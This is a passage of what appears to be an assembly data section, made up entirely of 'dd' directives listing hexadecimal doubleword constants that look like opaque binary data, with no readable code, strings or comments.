16ADC00Ah, 0EA45BFA7h, 0E309055Bh dd 1BA1C1Ah, 2336E788h, 857430CCh, 5B296A13h, 45319C00h dd 0F87FACF9h, 0D51639A0h, 0F314C58Eh, 608A2A05h, 80D8A7C4h dd 11A6E223h, 0CF060067h, 526094D8h, 0DB400044h, 0DEB0DA73h dd 0AB389DBFh, 49127B04h, 580F0FB5h, 93CA85E2h, 2904A01Fh dd 5CD1E7A9h, 8CD89D0Ah, 9810A28Eh, 3245FF8Ch, 2BC8B023h dd 1A412848h, 0E8A6A037h, 4D309A89h, 3EA36EB0h, 98D8881Dh dd 1E302070h, 0D9121C9h, 46FD0037h, 0D7C82349h, 81002484h dd 54DCA0D1h, 0E6AD3C52h, 89A76965h, 5D7B4804h, 0BFE0E901h dd 0BC259272h, 60D7D030h, 98CAC8BAh, 0E50E529h, 830CEA80h dd 48B38152h, 0B8275858h, 98F5AA83h, 9D3E4810h, 0CCE84848h dd 6457138Ch, 186C0603h, 98A0E1B8h, 7B05B920h, 951E67C9h dd 3804CC41h, 0DDF81842h, 0C3A0C3E4h, 5ED91A19h, 0FCB4522Dh dd 0E26DB130h, 22AE463Dh, 987A3FC1h, 0C016279Ch, 0F2CE31FFh dd 1926522Bh, 358AB8C0h, 40838CEBh, 26C9DC1Ah, 110C8E18h dd 0D8D58088h, 8CD6E282h, 85544h, 223ED8FDh, 6865796Bh dd 0DC43FF0Ch, 92C215Fh, 921CDA1Ah, 0E0D44883h, 8C934128h dd 7E84B944h, 9C404CEAh, 783E5A0Ah, 74850AA8h, 0D029BCh dd 91B8CDD8h, 0E500CEFAh, 96CFB932h, 1CB0F1h, 825D05D6h dd 0B76D7C2Ah, 0C422BA18h, 1D7F3C39h, 41159466h, 3937BEF9h dd 0AA4FDC4Eh, 6DA8B003h, 9D2B18Ch, 539830C0h, 0CC41E432h dd 871188Eh, 8F83ACFBh, 0C04001C4h, 19A2FB89h, 0CCEA6C24h dd 36F6404h, 30942492h, 0A8088886h, 64BE603Eh, 8F5C40CAh dd 0CAE0488h, 0E5EBD532h, 0B5C0990h, 8CCDE86Ch, 4F1DFD78h dd 6C534A85h, 0E2344C03h, 0EC14CDFAh, 0E6198280h, 73C88783h dd 98F093D3h, 0C3057A34h, 6806AC21h, 1F9519C8h, 1888EE58h dd 82506A5Ch, 1E9713DEh, 3EEC42A9h, 0E3052D5Fh, 0E1FAF080h dd 0AA522497h, 5B3583D0h, 0F10AC296h, 44DFB77Bh, 0E069F20Fh dd 7476A236h, 53A00CE2h, 48B1F7E1h, 0B08A228Ch, 2B00DA7Fh dd 4DA35E51h, 65220495h, 919B61BFh, 0E68A8B50h, 0C7EA4841h dd 5CDB4018h, 0DAAAA9h, 50F309C9h, 0E5C3654Ah, 0D2098898h dd 8538E2h, 0E4748B14h, 6EB41EF4h, 8000A4ACh, 0C2320684h dd 220A79D0h, 0C8711E04h, 42E18341h, 1A5C7889h, 0D2EA3800h dd 0FF0FF516h, 3CB6EE28h, 8C98AECAh, 8B1B6502h, 0B9D8607Dh dd 47E0800Bh, 832310A1h, 40B19BC9h, 97900771h, 0DEF8A394h dd 11925360h, 0DE0185AFh, 6476CAE3h, 82D0CE2Eh, 0D78924C8h dd 0D4B1128h, 51EBDCABh, 0AC50C5D5h, 605A32B0h, 810ED048h dd 0DF2AC084h, 2090D4C3h, 90B31720h, 7E510C8h, 12448FC5h dd 30961092h, 0A6088880h, 64BE503Eh, 895A40AEh, 0E9C088h dd 98038D41h, 0C4E5833Bh, 99C93630h, 0C0C62392h, 704AFE31h dd 300E832h, 0E25393E5h, 2FA2A1h, 0E1D1C558h, 9D78C3FEh dd 0E4905D75h, 817A7421h, 83AAFB73h, 8814187Fh, 0FB008BEAh dd 3EDC7D8Fh, 0C3334DBh dd 0C023E38Ch, 0B6029F81h, 0FDEDF292h, 0D12D60CAh, 9A223044h dd 0D2293AF1h, 33787702h, 80B64FD5h, 9376A898h, 0BDCF3436h dd 1C4A210h, 0AF316424h, 0B8439614h, 0CB0F98BFh, 1364B09Bh dd 12739703h, 8804CB48h, 0ED2AC013h, 4625BCF3h, 83B480A7h dd 0BE5B05Ch, 0DF11D7F4h, 805FD304h, 77337930h, 0BC5C8201h dd 9BDCAC8Bh, 30DA0C61h, 0E2FED8D2h, 7122EE46h, 0D8FA0300h dd 80FDBB6Ch, 0ECED63DCh, 210E5E3Dh, 6EB648E5h, 5AE10084h dd 34C438FBh, 4261C237h, 0A1015D80h, 18CF80C9h, 726D0BAEh dd 349CF63Dh, 6D957900h, 70C9EFAEh, 29705A4h, 93BC4B1h dd 0B000E060h, 8036C539h, 8E62BE04h, 3E00C61Ah, 0FDAA567Fh dd 3C05D27Fh, 2B4532EAh, 0C822C049h, 3D644D8h, 0A8D31960h dd 1880992Dh, 4C050B4Fh, 89DA388Bh, 0EB13FC04h, 3D80553h dd 17B00102h, 80CA1ED2h, 8F8E6AB1h, 1CD6B70Bh, 0BEB12EA1h dd 1D1E3680h, 0D3969368h, 31424304h, 8C014F1h, 0BF79BA87h dd 8B098370h, 4BB1233h, 8C609AB8h, 3E23D288h, 7B71170h dd 0C877556h, 0DF526110h, 1DBF8D9h, 792EC490h, 28DD6A08h dd 4CB703F4h, 8093A35Ch, 1C89062Bh, 8049F494h, 8271FE40h dd 0DF1C2E4Ah, 0E19F3E08h, 0C213DEC5h, 0CD6A5891h, 3D061C28h dd 18B21BD5h, 394BD17Eh, 7A8F9820h, 0E77180CEh, 0CF41302h dd 600626C2h, 81E9F984h, 0C331924Bh, 7A758404h, 0B1FB6E30h dd 11878323h, 86EB0012h, 0C1C72BFBh, 0CC1C01D3h, 0B15B23C0h dd 886838A4h, 8885C095h, 68533EABh, 8E5983A0h, 41388888h dd 6C0006Ah, 405E16A3h, 0E4BA3549h, 2220EC90h, 490B28Fh dd 0D6E63CB7h, 2988F1B3h, 7E6CB8FCh, 31EE6E8h, 0DD3CD8C0h dd 5009E3DFh, 2EBD3D19h, 7F12BF2Ch, 0DB854047h, 0E540B81Ah dd 166BB217h, 0AB9A423h, 81CC3B08h, 1D2018A8h, 0C3C08E0Ah dd 0EC3A692Fh, 40CD40E0h, 594A243Dh, 1A8305B0h, 0F400A99Ch dd 63F0ED31h, 0B00907Eh, 0ADAB8208h, 1140244Ch, 420A74Bh dd 357D3AD1h, 84F42083h, 56C844CBh, 8457C5C0h, 0BEB9306Ah dd 0A3823360h, 7DFC511Fh, 5FD2DB00h, 12046F93h, 80492311h dd 50C418D8h, 2BE73C03h, 90309E56h, 0B51636h, 43F36B20h dd 0E21925C6h, 0F872BA00h, 0ED283FEAh, 559B0016h, 244BE664h dd 95001CC7h, 0D2461801h, 3CD55E5Dh, 848036DAh, 0FEB1FC0Eh dd 0C9036686h, 4498B5A5h, 0C615F90Fh, 54CAE0h, 0B24A0685h dd 90020D43h, 8AE3CC00h, 720EA784h, 7A590068h, 0D0F7D8EFh dd 1A01523Ch, 0DC7CF48Eh, 608073FEh, 51360882h, 0F818D680h dd 88707B43h, 4B6C07F9h, 53FCEBBEh, 73D04EDEh, 0E4120F9Ch dd 384AA3C6h, 803C54F1h, 0FE1AEE17h, 165F4AFh, 5E370659h dd 50CACF96h, 0E00F26C8h, 0EA612209h, 70E18094h, 9A2CE2h dd 0AD8FC2BEh, 0E87A365Eh, 84DAB500h, 0BB157325h, 804301B3h dd 1DBA5C52h, 0F81080BEh, 7F3767F9h, 47B81F03h, 81DF0001h dd 0B42F6411h, 6179F01Eh, 73634Fh, 1417DBA3h, 0C46D003Eh dd 0E36823C3h, 1F18CD86h, 0A936C170h, 0CA59000Eh, 56035092h dd 0D40E6167h, 0EEDBDFD5h, 0C0070F53h, 6F22932Fh, 758200E7h dd 3AE7490h, 83009688h, 31D54C89h, 0A91657h, 4DE45510h dd 0BD3609B2h, 56788100h, 0C5F6D073h, 17AD000Ch, 7FD6B3EBh dd 0C698A8FFh, 29875000h, 956316DFh, 0A1D50A53h, 1A40EBEh dd 5DEC02C3h, 8D7DF814h, 0CAE9AA15h, 77A24C4h, 0A1B07C1Dh dd 1F7A27Eh, 0C4963194h, 81512799h, 50BAD4C8h, 0DC40AF97h dd 0FF357Ah, 52E1EC43h, 0EFD7C698h, 777E460Fh, 0FD9123F2h dd 4F97F8A1h, 846D0120h, 335AB3A8h, 8E9E82FCh, 0C97BE82Ah dd 0D0CB65CCh, 9CB08Fh, 2FE9A752h, 0F770EFAFh, 0A9673A00h dd 7E0D0EACh, 8A192711h, 0B400827Eh, 0CD85E2Dh, 0A48E0950h dd 68004862h, 25F9EA6Fh, 724F0A00h, 3C6C98A2h, 0A3390017h dd 1EC956A7h, 30004A44h, 9E744036h, 4DB5CAE8h, 0C460D096h dd 0F52BA317h, 0A9B99500h, 8763F6B6h, 6BFA0008h, 4029D21Ch dd 0D49A035h, 389B0774h, 0B44005B7h, 0D1AC48h, 0A73CC9DCh dd 40F78FADh, 32248500h, 0D078DE6Eh, 5CA30489h, 8062D5B7h dd 3AE8A2B0h, 5CA648h, 6F765A1Bh, 0C39286h, 95AA653Dh dd 98CEFA0Eh, 96B32826h, 0EFA7FF00h, 6B7E9Eh, 0E5645936h dd 9BDFB0CAh, 6D2D7800h, 0E495653h, 0CCBC003Bh, 8F162C41h dd 0E9C1B1A9h, 3CF0AEF1h, 6028DDE4h, 438AA86Bh, 3D00DE71h dd 0AD830E52h, 0DC3945Fh, 5ECE4A0Ch, 85A6198h, 6C001D40h dd 0AF87FC1Fh, 0EBC180h, 27A37616h, 4FB62DF9h, 64713200h dd 0BFCE1204h, 0C380A17Ch, 4597D0h, 323E6F9Ah, 101E0AB5h dd 0EB9F5302h, 42D998BAh, 79004881h, 710700ADh, 0D2F8EAF6h dd 0EC023B28h, 22DF5446h, 0F8206B65h, 3023307Ch, 5910EF94h dd 73031671h, 15E71120h, 4319029Eh, 4D57E249h, 0B4B64048h dd 6DC59500h, 673B9081h, 0CB0001Bh, 0AF3DF275h, 84FB1232h dd 0E5591D0h, 844380C5h, 0E3E97A1h, 1AAE85D0h, 98342EA1h dd 483A3047h, 0D526DA07h, 0DF206FA8h, 12A2C9E1h, 20F3BEC8h dd 1A324E5Ch, 0DE670800h, 0AA1DF022h, 1E920001h, 755D1760h dd 0CC77C5FEh, 5200337Bh, 0C9A0730Ah, 1D98D67h, 0FCB605B5h dd 0D44CF0D3h, 0E800D407h, 7CBA7A2Dh, 2E5C7Eh, 3BE7A85Eh dd 0FFCBBFAAh, 0BFD9F93Ch, 0A291802Bh, 218AC631h, 0B46005Eh dd 0BA7DA5A0h, 0F00467EEh, 0BEE21B4Fh, 875AFC80h, 0F98E0009h dd 0DA551ECAh, 3E004098h, 4DC35CECh, 468D0Bh, 0AF8843BBh dd 96325B3Bh, 10542200h, 0D77ED801h, 4D60FD4h, 594F97C1h dd 0F4A865A1h, 58AAE403h, 6E711A71h, 0B94A6700h, 4C97AD9Dh dd 0BA37003Fh, 7A46A6FAh, 0C4001B95h, 0ADCBC14Ah, 0F46CA8B3h dd 1AD50313h, 0FB58914Fh, 3C6A51F0h, 8D5CE400h, 662FEAC0h dd 358B33Eh, 8C7959F6h, 5CEE7B0h, 63B33700h, 0C3496656h dd 81671257h, 1CC809B1h, 0C81B24E8h, 0E0B8FA09h, 37348047h dd 0B567520h, 0A1157794h, 4BE7F200h, 2F007E93h, 0ABFD13CBh dd 0F27A975Fh, 0FE0E02CDh, 788D4DE9h, 4CB01080h, 69007990h dd 95D00DCCh, 2664F983h, 80D03184h, 44B721ADh, 324CDF1Eh dd 2DA30BE9h, 0CEC4A799h, 69408687h, 40B7D6AAh, 81073BC3h dd 0BFAF1C31h, 0A0C03EB3h, 0F5A3D1h, 8775CAA1h, 56D44796h dd 2CFCCB1Ch, 0F7AF4903h, 0E642887Fh, 83AE0FD6h, 85608611h dd 6E4A97B7h, 8C80789Eh, 9082733Dh, 76E003BCh, 2E1E64DFh dd 0CF09B101h, 0FFABB097h, 0D0E74843h, 0A865710Eh, 0F8FF2314h dd 91083A8Bh, 3D705580h, 93C6CA81h, 3DB041E0h, 544BAF00h dd 2DC4733Eh, 63E63EDAh, 0AE2F4700h, 5662B38Fh, 8DCC5800h dd 1EAC1BBEh, 0E91404C6h, 0EED99D4Eh, 93488BC0h, 30971C43h dd 25AE00DAh, 375226BFh, 6ADCCA0Dh, 2A903Eh, 8E58B0Eh dd 1A38D759h, 0A62E75DBh, 35807C4Dh, 27035807h, 0B0BD1E94h dd 720245Ch, 0A0B997EFh, 695ADB08h, 5BC7C500h, 0D8BDF173h dd 0BE7D89h, 0A1509C84h, 0FAA922EFh, 3765640Bh, 5B582254h dd 6A407704h, 1C0C39C8h, 707D0B8Dh, 0E5D4001Bh, 0EA629C66h dd 0E00DDF3h, 5F847141h, 604A3Ch, 0B3C7F9F1h, 15E6CFBAh dd 48777F2Ch, 4F058824h, 0C8067FAh, 12C86Ch, 6D7CB76h dd 0C1E3C33Fh, 0C20128C0h, 3E2ECCDh, 0DEED03AAh, 0BFD09151h dd 4248986Bh, 1A1501F0h dd 33A14E7Fh, 3966060h, 5CA02294h, 0EA0C85Eh, 0AC98C979h dd 4C403207h, 0FBE06980h, 17B48AECh, 0E32662h, 49D7EDBCh dd 0AFF4706Ch, 0DD0380F4h, 72B0484Ch, 0C1FD89C7h, 31BB5DCh dd 0CC4514Dh, 0A886D97Bh, 0CD15D000h, 55BE734Ah, 5E7A0B22h dd 0A080BB39h, 0D285879Ah, 0A8303428h, 3178D102h, 0E010CBDEh dd 8857BA34h, 1000CA5h, 1734F872h, 46C06CFh, 49F12011h dd 0B248A21Ah, 0D7F821C5h, 67BBE80Ah, 0F843Ch, 53366417h dd 0BBF52E2h, 40D48AEDh, 8CE05080h, 9248302Ah, 46E3011Ch dd 0F69419DAh, 0A6C330h, 0F57C3F13h, 373DA7F3h, 1B84DE00h dd 734BF166h, 0F85800E1h, 0A363902Ch, 45020AE2h, 66783177h dd 0FA68C8B2h, 0B11B2639h, 999300B0h, 3669C59Fh, 0E9427800h dd 4B6C3B52h, 6BBD1D34h, 778280CCh, 0F5D60635h, 5B946700h dd 0D5EAE3EFh, 0A3D0131Ch, 21DB00ECh, 5723C79Eh, 0A60B9B14h dd 0DA990FC4h, 4E670086h, 1F24395h, 7D11E83Ch, 0F41F4793h dd 0E4120FAEh, 0F4406C7Fh, 3492CAD0h, 0A25D0E14h, 0E360FC70h dd 57F87D71h, 0F9A39F00h, 9BCAACFEh, 28CB7080h, 1C6A23Bh dd 6ED610CFh, 0D8F9CE72h, 500889Fh, 2560ADF6h, 0FDC9474h dd 6E8343BCh, 0A3A8FF21h, 0B7AA6003h, 33B69600h, 792FFDD1h dd 63BE00B2h, 0B50106F6h, 683D8075h, 4C9A8032h, 7D193FE7h dd 7BE800A1h, 0F484E52Ch, 0F0C012C1h, 0F226AD28h, 71190FC7h dd 6A021F40h, 842FB85h, 0B5E36740h, 430FA9E6h, 0A3D2BB22h dd 0E0A347B8h, 92949576h, 0F481E18h, 25EE807Ch, 6563E2D0h dd 7A0C497Fh, 0C8D2603Bh, 0F8D5016Fh, 0E7B8DF3Fh, 7720248Ch dd 5A00DA72h, 9AFAEBB5h, 0D6ACD0h, 8D042F13h, 0B957A36Eh dd 1129F116h, 0FE40B81Ch, 0E2B349DBh, 8E40023h, 519CD98Ch dd 0F7E0E8A2h, 600F494h, 280413ACh, 4ACAF868h, 3A804411h dd 6E002E76h, 4DE33EBh, 6C03AF61h, 0CA883E17h, 341000F8h dd 0E886C3B1h, 8302E68Ch, 2B3811CCh, 54CE3C0h, 0F2A3F45Ch dd 0B8ACC032h, 990703Dh, 98103569h, 0A87AD4h, 5C3313D5h dd 3009E406h, 0F3E3E60Bh, 3FBC8093h, 0F2B0E8h, 7B8178E5h dd 509DB339h, 1D332B00h, 0D05FBFCBh, 3AA576F6h, 0C380C2BDh dd 42B48544h, 393B9C0Fh, 913600BCh, 0DEA1E36Bh, 6E880BC4h dd 38C37AD6h, 1A37CEC8h, 56F29302h, 0F8BC57E4h, 49B00BCh dd 0E254552h, 0E107F059h, 0AC23A7E8h, 795D93h, 72A41A0h dd 59F5ED0Dh, 9E688F26h, 72EE8A00h, 4B746Dh, 7F2A9A1Bh dd 69133010h, 0E8CC990Fh, 4FDDEFF1h, 0C03C2E7Ch, 0FD0C2460h dd 45A8C4D9h, 1EB092CCh, 4B0F3C72h, 0A0489115h, 568CA364h dd 960903Bh, 8E596BFCh, 749A6800h, 0F4002931h, 0BC80D048h dd 7B71204h, 779C3D37h, 0C51670D1h, 24B218B0h, 89015A01h dd 0B16C4752h, 0A5FB60h, 0A25218Bh, 12801C55h, 0B4ED9400h dd 788C2E7Ah, 0B5CE00FEh, 0C43FD388h, 0BE17B968h, 2D14B6E8h dd 9F13A74h, 206A6C95h, 0F0AFAB38h, 25173DEBh, 30F9CB80h dd 4A674236h, 0C999BD07h, 31600CAEh, 359F8D0h, 33030514h dd 0D2918BC7h, 2516D4DCh, 0EE28D500h, 0F6B5AA56h, 7E9024h dd 2C336F7Fh, 0D6895879h, 0E722F40Ch, 0DE180Dh, 38665E2Bh dd 0A12EEEA6h, 0CD62C900h, 34D458E5h, 8A0C0018h, 0E1A01EBFh dd 0F230A6B8h, 0A9BA6835h, 0D76F00A4h, 0ED2D56F6h, 5E00554Ch dd 0EBE78E2Ch, 4874ADh, 451D26F0h, 0DF1372FFh, 16E174Ch dd 0E0D788ECh, 76C87A3Eh, 7F79006Fh, 0B4A5BD5Bh, 0A03F43CBh dd 2AA90289h, 80092C7Eh, 2823F098h, 496401D6h, 0D05D6E66h dd 801DE001h, 1FC4B400h, 0F0042E2Ah, 3AEE4BAh, 79A978Dh dd 0E5D8A6C0h, 0FF7C302Ch, 32CD1FCh, 219D1CB4h, 0A4F1F400h dd 97E9A8h, 50543AF7h, 944C996Ah, 968F2B00h, 8774FC67h dd 0D1720005h, 3FEE1C0Dh, 0E303B64Ch, 6D247B9Bh, 41D011DFh dd 59E4007Eh, 0C3124726h, 6D611D09h, 2862613h, 2F728FB7h dd 0C5653060h, 0FC07D7F8h, 0B2A6776Fh, 0C9051DB0h, 297250h dd 69E7F698h, 0D431942Bh, 0A3FE40Eh, 8F70604Eh, 0ECD19D9h dd 372DB288h, 4C9EA1E0h, 0FE183841h, 0E4198BAAh, 5B1000AFh dd 2C4E6C93h, 40488E9Fh, 46D20090h, 0C551544Ch, 9769C511h dd 4934C8DCh, 1AC62D00h, 7658837Ch, 0FBB00253h, 0CD6824D0h dd 305CA842h, 0DA553A81h, 0AC509221h, 5CAD4D3Fh, 120246DFh dd 0D9305C8Bh, 6D8C18E0h, 0F05783Bh, 0C784F0C0h, 7E07443h dd 2831FECh, 0DB764192h, 1080EE11h, 0FF10DA6Dh, 905AF600h dd 633D8CB6h, 0D0524BCEh, 0A67CE500h, 5FD61800h, 0A797D780h dd 5C239FA2h, 87B7A03Eh, 0C811CCB4h, 5201CFFCh, 0E5380549h dd 40F28564h, 1FC17F5h, 51E2D23Eh, 0F7AF816Dh, 6E489790h dd 0EA5BBF09h, 0E23C84D3h, 5EFCA0h, 0F3ABD211h, 5A7A44A6h dd 0BC9DAA07h, 50B472CEh, 8D200C87h, 5F1620E2h, 4AD444FDh dd 1C28B440h, 0D679A776h, 0DA80A8D8h, 106C504Ah, 1CF95016h dd 7F50C044h, 0EB219E81h, 1D68C5Ch, 27F2FC4Bh, 98C09F36h dd 4D8B00F9h, 35AD6CBBh, 1D00FF71h, 0C5D19188h, 145233D7h dd 91B23D0Ch, 0D94AA800h, 8519A7CEh, 2EFBAA0Eh, 0B0E68049h dd 0A80966h, 3A7234D0h, 7818871h, 0C367FC00h, 0C0FF7EC7h dd 366E4DBh, 12063151h, 7490AB77h, 1900A5CFh, 0E517EE72h dd 0A9C3ACh, 0C7BB329Ah, 0E49DCDD1h, 7D7215EEh, 0D6309700h dd 52707633h, 7E100035h, 63FD13F1h, 235E2B93h, 4083BC4Eh dd 0EB9C11DDh, 0B44D00A0h, 2316D2C9h, 90A0A57Dh, 51747B3Ah dd 0E06531CEh, 0FF89793h, 0BDCF0009h, 33707136h, 281CAA90h dd 7D45326Eh, 80F4DEB7h, 0F835F8ABh, 5A7C34h, 0D2167C4Ch dd 7FC6F5EBh, 31ECE177h, 0D600ABF4h, 0D14135CFh, 4187C64h dd 19B93D56h, 65A8A915h, 0FC000840h, 953EEA5Fh, 698FE182h dd 0E0A138ECh, 0C85A498Ch, 4F3A4308h, 80C43E8Bh, 0E6140925h dd 2F6A11h, 0E7581FBh, 0C8F5FF84h, 5229541Dh, 0CEA1DB80h dd 2748CBh, 96DDD950h, 0EA47C6CDh, 0DAD65100h, 0E559FA32h dd 64A00A1h, 55FB5074h, 7E0005D9h, 0BB124354h, 0B89038D6h dd 5EB43ED1h, 0D3170070h, 0CC57F9B3h, 0AB0056B8h, 8B8D3E23h dd 419E61h, 71692894h, 0F73AAC07h, 9913A41Eh, 5C6F3900h dd 6C5143h, 5C2DC23h, 0EA385479h, 4F3F3B00h, 10E9A7E7h dd 429881h, 389315Ah, 684D62F8h, 80B4523Eh, 42CEE2B8h dd 5ED6Ch, 3984D7DAh, 519B50B7h, 373C7576h, 3CD90017h dd 667FA595h, 6CD201B5h, 4C506735h, 7025CDC5h, 0C4382291h dd 0F9EF874Eh, 0A02A80C6h, 0B008A16h, 0EF4F81Dh, 0BAE600D8h dd 50FFB7AEh, 0CC3DCE7Ah, 5C2680B0h, 0F1948DA2h, 2475ACh dd 9CB20E1Ah, 96E3AF75h, 68CA1C37h, 0E1638712h, 6092EA14h dd 92DF0F52h, 1110F060h, 98006623h, 0B83883D2h, 3AFDD51h dd 0EA3B5F0Bh, 19C8D925h, 7007F037h, 0F8BA1424h, 1983DB0h dd 466800DDh, 8E4790B4h, 0D900A486h, 0CF65925Bh, 6C2E95h dd 0EEA59481h, 34D2173Eh, 85360106h, 1261A490h, 7FA837Eh dd 0E1E9329Ah, 0CC803918h, 9100EF96h, 6777BE06h, 3DC58630h dd 2393EA3Ah, 621E00DAh, 0E6C73C31h, 2FC3880Ch, 15920C8h dd 83308456h, 7064FEFDh, 0E35C8634h, 808A282Fh, 5E96801h dd 0AE139A32h, 3F7670h, 0EEF32615h, 2DF49B37h, 8B744400h dd 0EA417EABh, 92A815CDh dd 0D838C4E5h, 0DD5C4D80h, 0EC32327h, 0BFB8EB01h, 6E14EEEFh dd 2D49997h, 0DAA82D6Fh, 0A45E6440h, 6CE71502h, 83D6AA60h dd 0B8F07CCCh, 489F441Ch, 20068029h, 9C0B87CBh, 2203817Ah dd 0EA371F50h, 83AC8839h, 0BA09021Ah, 0B364016Fh, 6F020F77h dd 0CFC5429h, 0E8CB1F79h, 0A2780387h, 25F7FB91h, 0C977D104h dd 0A1C0F09Eh, 0B2A994h, 0EC6197D2h, 0AD8CE7A4h, 3E273C00h dd 7CAEB946h, 0E6AF0725h, 0B0B6206Ah, 8FA98A90h, 0F2C6C400h dd 0C7E39614h, 5A40002Eh, 1E97BC6Dh, 0E51FA1FEh, 0BF80D417h dd 33B94CD9h, 0FC5C2AC9h, 0C6E701F8h, 30F2272Bh, 1C4B60ADh dd 0B858BC00h, 3FF8F978h, 3A7900FBh, 0D9EAA388h, 2E0FA08Fh dd 0E3CDA856h, 0E9116061h, 0E9966EE3h, 0D88B00F5h, 6F989B1Fh dd 583D6700h, 0A777DE8Eh, 90420392h, 17790A21h, 0E8F44EEDh dd 63A59DA1h, 4E6A7081h, 8700D5F2h, 0FD2321B6h, 0AF52E0h dd 9A569C49h, 1DEC06DBh, 0F3989D00h, 0A401FBFAh, 888D0093h dd 7F43DCCAh, 130F1227h, 8F91DE0Eh, 0A54DC081h, 1C587BC4h dd 982E833Dh, 28F42840h, 80EDF00h, 13F5FA1Fh, 567503ACh dd 0DCAB3E63h, 0A6F0C7E8h, 0AE6F0A00h, 2B09C849h, 0A5F2005Eh dd 0F3C04F90h, 7600B31Ah, 9A8D9F0Eh, 7064597h, 0D528EA05h dd 926EA11Eh, 4D55E429h, 0E7D1D000h, 0B4C8F13Ah, 6F7005Fh dd 2938FF14h, 898E233h, 0D0381A7Dh, 957100B9h, 0FDDD8990h dd 9BFE009Ch, 77983F87h, 7000F08h, 4F6CAD43h, 76170C76h dd 0D0E71FB4h, 0B61DFC19h, 0FCD600F3h, 47155F52h, 80E07638h dd 618626C1h, 6D3377h, 0D5AD39Bh, 0F10B6688h, 80181701h dd 572AD9B1h, 0A20018BFh, 0A3F9F88Bh, 0B81F1D90h, 49808D53h dd 3E5A83BAh, 4D360591h, 0C00879D8h, 0E7288E1Fh, 7D1C2C1Eh dd 1B72500h, 908B6E23h, 40653E10h, 36A92B80h, 0AB9E471Bh dd 0BCAECD24h, 0A50A0900h, 24E9FEE3h, 37C2D03h, 1A923AB6h dd 408837A3h, 0BE0E439h, 2028AD30h, 30FDF170h, 1131FE16h dd 89127FD9h, 870E7A6Fh, 0D3187865h, 0C505860h, 4752D202h dd 0C069DC5Fh, 97B8482Fh, 0E7A11500h, 854D743Ch, 9618A039h dd 5B6A0048h, 0A22AF878h, 0F40007BDh, 637ED505h, 9AE259h dd 9BC8431Bh, 77DD0846h, 2310E303h, 0E03E8696h, 78C0D3E6h dd 11B900CAh, 0A68B8F88h, 7002C92h, 10872AD6h, 0EB4E7E0h dd 746952F7h, 86A78122h, 38AE1460h, 84509300h, 5CBC5D76h dd 4E3348F3h, 452A0A00h, 3508CA73h, 6C39B500h, 0CBEC537Bh dd 0EBB98E3h, 0D8408B79h, 0A27280BEh, 7DA41A87h, 4E95D900h dd 341C5002h, 0BFEA0068h, 8C2FADD4h, 0EC008092h, 40E1B98h dd 0F8719Eh, 4709E08Bh, 0F49D5D53h, 0E40F2C24h, 1C00D016h dd 0DF98D887h, 1A5E005Ch, 339CD621h, 0AF00600Bh, 36657085h dd 0D07C3Ch, 0B5766ECBh, 0D3FFB3B8h, 0B00C278h, 8ADF34A6h dd 62CA44h, 0C898A154h, 0D57D89F6h, 59AE500h, 65345E4Ch dd 2A710BB5h, 0D020E8F9h, 1AC43F29h, 0C50DEE0Eh, 439622C9h dd 0C3A88011h, 38D5D8Fh, 16453547h, 68D092BEh, 10A01741h dd 447E6660h, 0C1E94200h, 10F15478h, 6A243509h, 5488160h dd 7003FF56h, 3014F431h, 9311D04Eh, 0F87279F1h, 299E06D1h dd 28CE7690h, 0DDF1AEF0h, 67E5F0CDh, 60227500h, 0A32709ADh dd 0E34901E8h, 96DBFCEEh, 0E697DC29h, 33820D1Bh, 5369868h dd 2AF74C8h, 0C3933EE5h, 0BE04F97Dh, 2BA717C0h, 27B3006Fh dd 20EC4230h, 46158C2Ah, 1C8CE691h, 0CF41AF69h, 88A429B6h dd 0F4A10880h, 0EB136A25h, 0C89E1200h, 0ADDDB497h, 3717CE0h dd 96FD95C9h, 79D0F5F6h, 74004959h, 3D0CBDE1h, 0F418DF5Dh dd 923B1F2Dh, 0E7287D94h, 98BA00C7h, 12B86AA2h, 2D00B989h dd 0C2545978h, 0E0C9D9h, 0F508B0FAh, 0AFFBECC6h, 0FC2D4F00h dd 0FED6347Dh, 36D717Bh, 8C9FF957h, 13C81651h, 524807D5h dd 581C7830h, 45009DBFh, 32049963h, 0FDEF00DDh, 75C95174h dd 5500D81Fh, 0C222F4FEh, 2D32EEh, 0FCCA09CCh, 73133AE9h dd 566AE0A8h, 0D2A28B07h, 8927D38Eh, 0EC60B7E7h, 8A6B57h dd 3315DC95h, 3B6A229h, 8060D83Bh, 9751820Ch, 1FE0A8Ch dd 577C8A67h, 80F3D5A2h, 15CAEA39h, 0A5EC526Ah, 0C28F002Ch dd 3230B115h, 5A292003h, 9A0C7072h, 0ED0F0028h, 96317DE8h dd 580A3051h, 30C35E60h, 0CB11D77Fh, 0CF013463h, 53B7696Fh dd 8BC31E8h, 3B9621E0h, 0D003F34h, 0CA22DB2Ch, 68316Fh dd 995EB9E8h, 13F45845h, 4087F500h, 0D14EDBDDh, 5F670CFDh dd 787956F3h, 0A701CEE6h, 0D691EC98h, 898B3D0h, 0A2132103h dd 8C35CE3Bh, 50DE8065h, 0C60B0D50h, 0F4888E12h, 9677ACAAh dd 730C9FB0h, 8970DD7h, 0F821D6A0h, 7CFF00A6h, 0F6CE4BE3h dd 0F3793044h, 48B80CC9h, 6C36D80Ch, 1887A08Dh, 0B0CED560h dd 0D600A89Eh, 78292506h, 0A5E7BAh, 0FE15FCC1h, 0F872362Fh dd 3F73A700h, 271062D9h, 0EEF77E0Dh, 0DEA10097h, 0F69AA264h dd 0B200B1C8h, 54B9DC18h, 196D3BBh, 0A9014B39h, 6020E83Ah dd 0D6719002h, 4E46B900h, 0DB68E54Ah, 0BF3224E1h, 0FCAF0010h dd 0F8811EB3h, 1799840Ch, 3AF559FDh, 0FC3C9A7Fh, 0F2322877h dd 0AF07000Ch, 48065EABh, 9400E649h, 57860884h, 64CF41h dd 238D6DD6h, 0BD329985h, 9640C71Dh, 496EB442h, 0C3F5242Ch dd 0A0C760FEh, 0D87BB54Ah, 38AA600h, 93FA1BF6h, 329F3DC4h dd 0DB6A8E83h, 35887D2Ah, 0CF18BF0Ah, 0BDB8F718h, 0B251C32Bh dd 1818CEF2h, 8AB99F15h, 0DF9A000Bh, 0D8EDF95Eh, 1701AE5Fh dd 7976AC4Eh, 77F842CFh, 0AF400063h, 6FE0DCE5h, 0AB000F89h dd 0C280BCFDh, 864AA8h, 0C8FEF375h, 0D4859B42h, 9DF7070Ch dd 0C00C08DCh, 4337DD21h, 8E076D29h, 2D103C73h, 0B9C86FA0h dd 2651C819h, 0BF42C4C0h, 0F8F42185h, 160F69Eh, 47433409h dd 0E81ACE3Ch, 0CD000455h, 0BD830AFAh, 0E861EC1h, 78E3F0BBh 